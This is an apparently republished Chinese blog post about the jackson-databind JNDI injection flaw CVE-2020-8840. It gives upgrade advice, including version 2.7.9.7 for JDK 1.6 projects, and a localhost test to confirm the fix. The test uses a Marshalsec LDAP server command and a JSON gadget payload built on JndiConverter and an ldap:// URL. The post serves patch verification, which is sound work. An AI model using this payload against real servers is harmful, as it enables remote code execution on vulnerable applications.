jackson-databind远程代码执行漏洞(CVE-2020-8840)修复与测试

编程入门 行业动态 更新时间:2024-10-28 08:16:29

漏洞介绍

攻击者可以利用此漏洞通过JNDI注入的方式执行本地Web容器下的任意代码,后文中将测试LDAP方式的远程代码调用,受影响版参见:NVD。

修复建议

网上能找到的大部分修复建议是将jackson-databind的版本升级到2.9.10.4或后续版本,此方法的确行之有效,但是对于使用JDK1.6的老项目就比较尴尬,因为至2.8版本后jackson-databind字节码不再兼容JDK1.6,运行时会报Unsupported major.minor version 51.0错误,对于这种情况可以使用2.7.9.7版本修复,该版本的字节码仍然兼容JDK1.6,且确实具有修复效果,其佐证如下:

  • 漏洞详情中受影响版本不包含2.7.9.7
  • 项目github上的2.7.9.7发行版说明中明确指出了对此漏洞的修复
  • 后文中的测试验证

漏洞测试

此漏洞会将特定输入进行JNDI转换并执行,这里测试只测试到调用端收到请求,实际执行类并未编写,测试步骤:

  1. 使用Marshalsec工具开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#ExportObject 1389
  1. 使用ObjectMapper.readValue方法对特定的字符串进行对象映射
ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

            String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
  1. 测试结果
漏洞版本:
Send LDAP reference result for ExportObject redirecting to http://localhost:8080/ExportObject.class
修复版本:没有收到LDAP请求

备注:以上观察结果为运行Marshalsec的控制台输出,修改jackson-databind后记得Maven需要Import Change。

附件中有测试项目,Marshalsec位于项目的resources目录下,可找到绝对路径调用。

更多推荐

jackson-databind远程代码执行漏洞(CVE-2020-8840)修复与测试

本文发布于:2023-06-14 09:55:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1463344.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   代码   测试   databind   jackson

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!